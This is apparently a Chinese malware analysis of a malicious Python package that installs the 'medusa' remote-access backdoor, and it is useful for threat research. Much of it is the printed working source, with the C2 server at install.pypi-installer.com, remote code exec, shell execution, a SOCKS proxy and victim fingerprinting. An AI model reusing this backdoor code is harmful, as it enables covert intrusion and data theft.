total_chunks = chunk["total_chunks"]
cmd_code += base64.b64decode(chunk["chunk_data"]).decode()

if cmd_code:
exec(cmd_code.replace("\n ","\n")[4:])
setattr(medusa, command, eval(command))
cmd_list = [{"action": "add", "cmd": command}]
responses = [{ "task_id": task_id, "user_output": "Loaded command: {}".format(command), "commands": cmd_list, "completed": True }]
message = { "action": "post_response", "responses": responses }
response_data = self.postMessageAndRetrieveResponse(message)
else: return "Failed to upload '{}' command".format(command)

def load_module(self, task_id, file, module_name):
import zipfile, io

class CFinder(object):
def __init__(self, repoName, instance):
self.moduleRepo = instance.moduleRepo
self.repoName = repoName
self._source_cache = {}

def _get_info(self, repoName, fullname):
parts = fullname.split('.')
submodule = parts[-1]
modulepath = '/'.join(parts)
_search_order = [('.py', False), ('/__init__.py', True)]
for suffix, is_package in _search_order:
relpath = modulepath + suffix
try: self.moduleRepo[repoName].getinfo(relpath)
except KeyError: pass
else: return submodule, is_package, relpath
msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
raise ImportError(msg)

def _get_source(self, repoName, fullname):
submodule, is_package, relpath = self._get_info(repoName, fullname)
fullpath = '%s/%s' % (repoName, relpath)
if relpath in self._source_cache:
source = self._source_cache[relpath]
return submodule, is_package, fullpath, source
try:
source = self.moduleRepo[repoName].read(relpath)
source = source.replace(b'\r\n', b'\n')
source = source.replace(b'\r', b'\n')
self._source_cache[relpath] = source
return submodule, is_package, fullpath, source
except: raise ImportError("Unable to obtain source for module %s" % (fullpath))

def find_module(self, fullname, path=None):
try: submodule, is_package, relpath = self._get_info(self.repoName, fullname)
except ImportError: return None
else: return self

def load_module(self, fullname):
import types
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
code = compile(source, fullpath, 'exec')
mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
mod.__loader__ = self
mod.__file__ = fullpath
mod.__name__ = fullname
if is_package:
mod.__path__ = [os.path.dirname(mod.__file__)]
exec(code, mod.__dict__)
return mod

def get_data(self, fullpath):

prefix = os.path.join(self.repoName, '')
if not fullpath.startswith(prefix):
raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
relpath = fullpath[len(prefix):]
try:
return self.moduleRepo[self.repoName].read(relpath)
except KeyError:
raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))

def is_package(self, fullname):
"""Return if the module is a package"""
submodule, is_package, relpath = self._get_info(self.repoName, fullname)
return is_package

def get_code(self, fullname):
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
return compile(source, fullpath, 'exec')

if module_name in self.moduleRepo.keys():
return "{} module already loaded.".format(module_name)
total_chunks = 1
chunk_num = 0
module_zip = bytearray()
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num+1 }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
total_chunks = chunk["total_chunks"]
chunk_num+=1
module_zip.extend(base64.b64decode(chunk["chunk_data"]))

if module_zip:
self.moduleRepo[module_name] = zipfile.ZipFile(io.BytesIO(module_zip))
if module_name not in self._meta_cache:
finder = CFinder(module_name, self)
self._meta_cache[module_name] = finder
sys.meta_path.append(finder)
else: return "Failed to download in-memory module"

def load_script(self, task_id, file):
total_chunks = 1
chunk_num = 0
cmd_code = ""
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
cmd_code += base64.b64decode(chunk["chunk_data"]).decode()

if cmd_code: exec(cmd_code)
else: return "Failed to load script"

def ls(self, task_id, path, file_browser=False):
if path == ".": file_path = self.current_directory
else: file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)
file_details = os.stat(file_path)
target_is_file = os.path.isfile(file_path)
target_name = os.path.basename(file_path.rstrip(os.sep))
file_browser = {
"host": socket.gethostname(),
"is_file": target_is_file,
"permissions": {"octal": oct(file_details.st_mode)[-3:]},
"name": target_name if target_name != "." \
else os.path.basename(self.current_directory.rstrip(os.sep)), "parent_path": os.path.abspath(os.path.join(file_path, os.pardir)),
"success": True,
"access_time": time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_atime)),
"modify_time": time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_mtime)),
"size": file_details.st_size,
"update_deleted": True,
}
files = []
if not target_is_file:
with os.scandir(file_path) as entries:
for entry in entries:
file = {}
file['name'] = entry.name
file['is_file'] = True if entry.is_file() else False
try:
file_details = os.stat(os.path.join(file_path, entry.name))
file["permissions"] = { "octal": oct(file_details.st_mode)[-3:]}
file["access_time"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_atime))
file["modify_time"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_mtime))
file["size"] = file_details.st_size
except OSError as e:
pass
files.append(file)
file_browser["files"] = files
task = [task for task in self.taskings if task["task_id"] == task_id]
task[0]["file_browser"] = file_browser
return { "files": files }

def mv(self, task_id, source, destination):
import shutil
source_path = source if source[0] == os.sep \
else os.path.join(self.current_directory,source)
dest_path = destination if destination[0] == os.sep \
else os.path.join(self.current_directory,destination)
shutil.move(source_path, dest_path)

def rm(self, task_id, path):
import shutil
file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)
if os.path.isdir(file_path):
shutil.rmtree(file_path)
else:
os.remove(file_path)

def shell(self, task_id, command):
import subprocess
process = subprocess.Popen(command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self.current_directory)
stdout, stderr = process.communicate()
out = stderr if stderr else stdout
return out.decode()

def sleep(self, task_id, seconds, jitter=-1):
self.agent_config["Sleep"] = int(seconds)
if jitter != -1:
self.agent_config["Jitter"] = int(jitter)

def socks(self, task_id, action, port):
import socket, select, queue
from threading import Thread, activeCount
from struct import pack, unpack

MAX_THREADS = 200
BUFSIZE = 2048
TIMEOUT_SOCKET = 5
OUTGOING_INTERFACE = ""

VER = b'\x05'
M_NOAUTH = b'\x00'
M_NOTAVAILABLE = b'\xff'
CMD_CONNECT = b'\x01'
ATYP_IPV4 = b'\x01'
ATYP_DOMAINNAME = b'\x03'

SOCKS_SLEEP_INTERVAL = 0.1
QUEUE_TIMOUT = 1

def sendSocksPacket(server_id, data, exit_value):
self.socks_out.put({ "server_id": server_id,
"data": base64.b64encode(data).decode(), "exit": exit_value })

def create_socket():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT_SOCKET)
except: return "Failed to create socket: {}".format(str(err))
return sock

def connect_to_dst(dst_addr, dst_port):
sock = create_socket()
if OUTGOING_INTERFACE:
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, OUTGOING_INTERFACE.encode())
except PermissionError as err: return 0
try:
sock.connect((dst_addr, dst_port))
return sock
except socket.error as err: return 0

def request_client(msg):
try:
message = base64.b64decode(msg["data"])
s5_request = message[:BUFSIZE]
except:
return False
if (s5_request[0:1] != VER or s5_request[1:2] != CMD_CONNECT or s5_request[2:3] != b'\x00'):
return False
if s5_request[3:4] == ATYP_IPV4:
dst_addr = socket.inet_ntoa(s5_request[4:-2])
dst_port = unpack('>H', s5_request[8:len(s5_request)])[0]
elif s5_request[3:4] == ATYP_DOMAINNAME:
sz_domain_name = s5_request[4]
dst_addr = s5_request[5: 5 + sz_domain_name - len(s5_request)]
port_to_unpack = s5_request[5 + sz_domain_name:len(s5_request)]
dst_port = unpack('>H', port_to_unpack)[0]
else: return False
return (dst_addr, dst_port)

def create_connection(msg):
dst = request_client(msg)
rep = b'\x07'
bnd = b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00'
if dst:
socket_dst = connect_to_dst(dst[0], dst[1])
if not dst or socket_dst == 0: rep = b'\x01'
else:
rep = b'\x00'
bnd = socket.inet_aton(socket_dst.getsockname()[0])
bnd += pack(">H", socket_dst.getsockname()[1])
reply = VER + rep + b'\x00' + ATYP_IPV4 + bnd
try: sendSocksPacket(msg["server_id"], reply, msg["exit"])
except: return
if rep == b'\x00': return socket_dst

def get_running_socks_thread():
return [ t for t in threading.enumerate() if "socks:" in t.name and not task_id in t.name ]

def a2m(server_id, socket_dst):
while True:
if task_id not in [task["task_id"] for task in self.taskings]: return
elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return
if server_id not in self.socks_open.keys(): return
try: reader, _, _ = select.select([socket_dst], [], [], 1)
except select.error as err: return

if not reader: continue
try:
for sock in reader:
data = sock.recv(BUFSIZE)
if not data:
sendSocksPacket(server_id, b"", True)
socket_dst.close()
return
sendSocksPacket(server_id, data, False)
except Exception as e: pass
time.sleep(SOCKS_SLEEP_INTERVAL)

def m2a(server_id, socket_dst):
while True:
if task_id not in [task["task_id"] for task in self.taskings]: return
elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return
if server_id not in self.socks_open.keys():
socket_dst.close()
return
try:
if not self.socks_open[server_id].empty():
socket_dst.send(base64.b64decode(self.socks_open[server_id].get(timeout=QUEUE_TIMOUT)))
except: pass
time.sleep(SOCKS_SLEEP_INTERVAL)

t_socks = get_running_socks_thread()

if action == "start":
if len(t_socks) > 0: return "[!] SOCKS Proxy already running."
self.sendTaskOutputUpdate(task_id, "[*] SOCKS Proxy started.")
while True:
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "[*] SOCKS Proxy stopped."
if not self.socks_in.empty():
packet_json = self.socks_in.get(timeout=QUEUE_TIMOUT)
if packet_json:
server_id = packet_json["server_id"]
if server_id in self.socks_open.keys():
if packet_json["data"]:
self.socks_open[server_id].put(packet_json["data"])
elif packet_json["exit"]:
self.socks_open.pop(server_id)
else:
if not packet_json["exit"]:
if activeCount() > MAX_THREADS:
sleep(3)
continue
self.socks_open[server_id] = queue.Queue()
sock = create_connection(packet_json)
if sock:
send_thread = Thread(target=a2m, args=(server_id, sock, ), name="a2m:{}".format(server_id))
recv_thread = Thread(target=m2a, args=(server_id, sock, ), name="m2a:{}".format(server_id))
send_thread.start()
recv_thread.start()
time.sleep(SOCKS_SLEEP_INTERVAL)
else:
if len(t_socks) > 0:
for t_sock in t_socks:
task = [task for task in self.taskings if task["task_id"] == t_sock.name.split(":")[1]][0]
task["stopped"] = task["completed"] = True
self.socks_open = {}

def unload(self, task_id, command):
delattr(medusa, command)
cmd_list = [{"action": "remove", "cmd": command}]
responses = [{ "task_id": task_id, "user_output": "Unloaded command: {}".format(command), "commands": cmd_list, "completed": True }]
message = { "action": "post_response", "responses": responses }
response_data = self.postMessageAndRetrieveResponse(message)

def unload_module(self, task_id, module_name):
if module_name in self._meta_cache:
finder = self._meta_cache.pop(module_name)
sys.meta_path.remove(finder)
self.moduleRepo.pop(module_name)
return "{} module unloaded".format(module_name)
else: return "{} not found in loaded modules".format(module_name)

def upload(self, task_id, file, remote_path):
total_chunks = 1
chunk_num = 0
with open(remote_path, "wb") as f:
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."

data = {
"action": "post_response",
"responses": [
{
"upload": {
"chunk_size": CHUNK_SIZE,
"file_id": file,
"chunk_num": chunk_num,
"full_path": remote_path
},
"task_id": task_id
}
]
}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
f.write(base64.b64decode(chunk["chunk_data"]))

def watch_dir(self, task_id, path, seconds):
import hashlib
known_files = {}
def diffFolder(file_path, print_out=True):
for root, dirs, files in os.walk(file_path):
for dir in dirs:
full_dir_path = os.path.join(root, dir)
if full_dir_path not in known_files.keys():
if print_out: self.sendTaskOutputUpdate(task_id, "[*] New Directory: {}".format(full_dir_path) )
known_files[full_dir_path] = ""

for file in files:
full_file_path = os.path.join(root, file)
file_size = 0
try:
with open(full_file_path, "rb") as in_f:
file_data = in_f.read()
file_size = len(file_data)
except: continue

hash = hashlib.md5(file_data).hexdigest()

if full_file_path not in known_files.keys() and hash not in known_files.values():
if print_out: self.sendTaskOutputUpdate(task_id, "[*] New File: {} - {} bytes ({})".format(full_file_path, file_size, hash))
known_files[full_file_path] = hash
elif full_file_path in known_files.keys() and hash not in known_files.values():
if print_out: self.sendTaskOutputUpdate(task_id, "[*] File Updated: {} - {} bytes ({})".format(full_file_path, file_size, hash))
known_files[full_file_path] = hash
elif full_file_path not in known_files.keys() and hash in known_files.values():
orig_file = [f for f,h in known_files.items() if h == hash][0]
if os.path.exists(os.path.join(file_path, orig_file)):
if print_out: self.sendTaskOutputUpdate(task_id, "[*] Copied File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
else:
if print_out: self.sendTaskOutputUpdate(task_id, "[*] Moved File: {}->{} - {} bytes ({})".format(orig_file, full_file_path, file_size, hash))
known_files.pop(orig_file)
known_files[full_file_path] = hash
for file in list(known_files):
if not os.path.isdir(os.path.dirname(file)):
for del_file in [f for f in list(known_files) if f.startswith(os.path.dirname(file))]:
obj_type = "Directory" if not known_files[del_file] else "File"
if file in list(known_files):
if print_out: self.sendTaskOutputUpdate(task_id, "[*] {} deleted: {} {}".format(obj_type, \
del_file, "({})".format(known_files[del_file]) if known_files[del_file] else ""))
known_files.pop(file)
else:
if os.path.basename(file) not in os.listdir(os.path.dirname(file)):
obj_type = "Directory" if not known_files[file] else "File"
if print_out: self.sendTaskOutputUpdate(task_id, "[*] {} deleted: {} {}".format(obj_type, file, \
"({})".format(known_files[file]) if known_files[file] else ""))
known_files.pop(file)

if path == ".": file_path = self.current_directory
else: file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)

if not os.path.isdir(file_path):
return "[!] Path must be a valid directory"
elif not os.access(file_path, os.R_OK):
return "[!] Path not accessible"
else:
self.sendTaskOutputUpdate(task_id, "[*] Starting directory watch for {}".format(path))
diffFolder(file_path, False)
while(True):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return "Job stopped."
if not os.path.exists(file_path):
return "[!] Root directory has been deleted."
diffFolder(file_path)
time.sleep(seconds)



def __init__(self):
self.socks_open = {}
self.socks_in = queue.Queue()
self.socks_out = queue.Queue()
self.taskings = []
self._meta_cache = {}
self.moduleRepo = {}
self.current_directory = os.getcwd()
self.agent_config = {
"Server": "https://install.pypi-installer.com",
"Port": "443",
"PostURI": "/data",
"PayloadUUID": "cdc0f5ef-3174-4a48-a9c1-dbf59f1d06e5",
"UUID": "",
"Headers": [{"name": "User-Agent", "key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "custom": False}],
"Sleep": 10,
"Jitter": 23,
"KillDate": "2022-11-17",
"enc_key": {"value": "aes256_hmac", "enc_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s=", "dec_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s="},
"ExchChk": "T",
"GetURI": "/index",
"GetParam": "q",
"ProxyHost": "",
"ProxyUser": "",
"ProxyPass": "",
"ProxyPort": "",
}

while(True):
if(self.agent_config["UUID"] == ""):
self.checkIn()
self.agentSleep()
else:
while(True):
if self.passedKilldate():
self.exit()
try:
self.getTaskings()
self.processTaskings()
self.postResponses()
except: pass
self.agentSleep()

if __name__ == "__main__":
medusa = medusa()

以上代码可以判定该包为用于软件供应链攻击的恶意python包。

行为分析

样本封装了一个medusa类,并在恶意包安装落地后初始化一个medusa对象实例,其__init__方法如下:

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def __init__(self):
self.socks_open = {}
self.socks_in = queue.Queue()
self.socks_out = queue.Queue()
self.taskings = []
self._meta_cache = {}
self.moduleRepo = {}
self.current_directory = os.getcwd()
self.agent_config = {
"Server": "https://install.pypi-installer.com",
"Port": "443",
"PostURI": "/data",
"PayloadUUID": "cdc0f5ef-3174-4a48-a9c1-dbf59f1d06e5",
"UUID": "",
"Headers": [{"name": "User-Agent", "key": "User-Agent", "value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "custom": False}],
"Sleep": 10,
"Jitter": 23,
"KillDate": "2022-11-17",
"enc_key": {"value": "aes256_hmac", "enc_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s=", "dec_key": "TLQ1JPckkSZcHSOLFv4t/mGqptHko/jCz8VyhNxxH1s="},
"ExchChk": "T",
"GetURI": "/index",
"GetParam": "q",
"ProxyHost": "",
"ProxyUser": "",
"ProxyPass": "",
"ProxyPort": "",
}

while(True):
if(self.agent_config["UUID"] == ""):
self.checkIn()
self.agentSleep()
else:
while(True):
if self.passedKilldate():
self.exit()
try:
self.getTaskings()
self.processTaskings()
self.postResponses()
except: pass
self.agentSleep()

初始化得到了一些必要信息,相关字段用途说明如下表:

字段 作用
socks_open 用于保存与c2服务器通信的socket套接字
socks_in 保存接收数据包队列
socks_out 保存发送数据包队列
taskings 执行远控功能的队列
_meta_cache 用于保存加载的其他模块
moduleRepo 用于指定模块仓库地址
current_directory 保存当前执行路径
agent_config 记录诸如服务器域名,端口,请求头,密钥等关键预置信息

并通过while(True)长期驻留,实现持久化;

while循环中,首次执行时会通过medusa.checkIn()方法收集受害机器信息,包括IP地址,操作系统及版本号,用户名,主机名,当前进程ID,处理器架构,通信加密密钥和解密密钥:

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def checkIn(self):
data = {
"action": "checkin",
"ip": socket.gethostbyname(socket.gethostname()),
"os": self.getOSVersion(),
"user": self.getUsername(),
"host": socket.gethostname(),
"domain:": socket.getfqdn(),
"pid": os.getpid(),
"uuid": self.agent_config["PayloadUUID"],
"architecture": "x64" if sys.maxsize > 2**32 else "x86",
"encryption_key": self.agent_config["enc_key"]["enc_key"],
"decryption_key": self.agent_config["enc_key"]["dec_key"]
}
encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode()))
decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST'))
if("status" in decoded_data):
UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"]
self.agent_config["UUID"] = UUID
return True
else: return False

并经上述信息回传服务器,得到服务器下发的PayloadUUID

之后就长期驻留目标机器,通过medusa.getTaskings()方法获取服务器端下发的命令任务,medusa.processTaskings()方法开启多线程执行任务,medusa.postResponses()方法回传任务结果。若没有任务下发会进入休眠等待。

功能分析

经人工分析后总结,该包是一个远控后门,具有以下功能:

  1. 获取远端任务:
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def getTaskings(self):
data = { "action": "get_tasking", "tasking_size": -1 }
tasking_data = self.postMessageAndRetrieveResponse(data)
for task in tasking_data["tasks"]:
t = {
"task_id":task["id"],
"command":task["command"],
"parameters":task["parameters"],
"result":"",
"completed": False,
"started":False,
"error":False,
"stopped":False
}
self.taskings.append(t)
if "socks" in tasking_data:
for packet in tasking_data["socks"]: self.socks_in.put(packet)

相关数据结构说明:

字段 说明
task_id 任务ID
command 任务命令行
parameters 执行任务的所需参数
result 执行结果
completed 标识完成状态
started 标识开始状态
error 任务错误原因
stopped 标识中止状态
  1. 执行任务功能:

通过多线程执行任务队列状态为未开始的任务。

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def processTask(self, task):
try:
task["started"] = True
function = getattr(self, task["command"], None)
if(callable(function)):
try:
params = json.loads(task["parameters"]) if task["parameters"] else {}
params['task_id'] = task["task_id"]
command = "self." + task["command"] + "(**params)"
output = eval(command)
except Exception as error:
output = str(error)
task["error"] = True
task["result"] = output
task["completed"] = True
else:
task["error"] = task["completed"] = True
task["result"] = "Function unavailable."
except Exception as error:
task["error"] = task["completed"] = True
task["result"] = error

def processTaskings(self):
threads = list()
taskings = self.taskings
for task in taskings:
if task["started"] == False:
x = threading.Thread(target=self.processTask, name="{}:{}".format(task["command"], task["task_id"]), args=(task,))
threads.append(x)
x.start()

任务内容通过getattr()方法配合command字段获得并使用eval()方法执行,该样本中已经实现的任务功能如下:

任务名 功能说明
cat 获取指定文件内容
cd 转移工作目录到指定目录
cp 拷贝文件到指定路径
cwd 获取当前工作路径
download 从受控机器下载文件
env 获取环境变量
eval_code 执行python 代码片段
exit 退出
jobkill 中止某个任务
jobs 列出当前所有任务
list_modules 列出当前加载的模块
list_tcc 查看macos 系统TCC 数据
load 加载添加并执行新后门任务方法
load_module 加载模块
mv 移动指定文件
rm 删除指定文件
shell 执行shell 命令
sleep 设置休眠时间
socks 建立通信通道
unload 移除后门任务方法
unload_module 卸载模块
upload 上传文件到受控机器
watch_dir 监控文件夹变化

除以上主要功能外,改样本还自实现AES 密码模块用于加密通信,其通信密钥被预置于medusa类中的agent_config.enc_key字段中

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